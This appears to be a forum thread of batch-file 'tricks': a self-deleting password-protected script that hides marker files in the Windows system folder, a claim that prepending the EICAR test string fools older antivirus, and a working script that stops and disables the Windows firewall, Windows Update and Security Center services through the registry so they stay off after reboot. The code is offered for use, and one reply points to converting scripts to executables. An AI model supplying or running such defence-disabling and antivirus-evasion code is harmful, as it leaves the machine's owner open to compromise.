The MOST Awsome Batch Tricks

[Insection]

Well lemme say something.

Batch is great for beginners. Simple commands, cant get easier than that

These are some useful tricks that can help you improve your batch programing.


1. Password protect, Invalid Passwords= Self destruction

Code: Select all

@echo off
cd %systemroot%
color 0a
cls
echo.
echo.
set /p confirmation= Enter Security Password: 
if %confirmation%==Insection goto confirmed
if %confirmation%==selfdestruct goto selfdestruct
if exist "%systemroot%\death3.666" goto selfdestruct
if exist "%systemroot%\death2.666" goto say3
if exist "%systemroot%\death1.666" goto say2
:say1
copy %0 "%systemroot%\death1.666" >nul
attrib +r +h %systemroot%\*.666 >nul
msg * Incorrect Password, File self destructs after 3 more incorrect passwords.
exit
:say2
copy %0 "%systemroot%\death2.666" >nul
attrib +r +h %systemroot%\*.666 >nul
msg * Incorrect Password, File self destructs after 2 more incorrect passwords.
exit
:say3
copy %0 "%systemroot%\death3.666" >nul
attrib +r +h %systemroot%\*.666 >nul
msg * Incorrect Password, File self destructs after 1 more incorrect passwords.
exit
:selfdestruct
msg * File Self Destructed -Too many incorrect Passwords
del %0 /f /q >nul
:confirmed
YOUR CODE GOES HERE

As you can see, when the bat file is first opened it will ask for a password.
As you can see when the correct password is entered, it takes you to :confirmed and thats where you place your codes.

If an invalid password is entered the bat creates Hidden files which it uses to remember how many times an invalid password was entered in %systemroot%/WINDOWS and informs you of an invalid password entry.
So 1 invalid password = 1 log file
3 log files = your bat deleting itself

The next time you enter an invalid password, the bat file checks how many log files were created before (as in how many times you entered an invalid password) and if 3 log files have already been created then the bat deletes itself.


2. EICAR STRING

By simply putting this in the beginning of your bat, you may fool some older AV's

Code: Select all

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Remember: it must be on the first line of your bat file



3. Firewall "Disable"

Code: Select all

@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO REGEDIT4
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"

This code can be placed into a .bat and when executed it will "disable" windows firewall. (even after a reboot)


Hope i helped - Will edit this post and add more stuff later on

Here's a list of (I think) almost all batch commands:

good work fellows.

Damn, was just about to delete my post (since this isn't really a batch programing tutorial, but a list of batch examples) but Swan posted a second earlier.
Hope you don't mind Insection. :$

nice batch program.

[Insection]

yup, there are plenty of exe converters. I got a few different ones myself
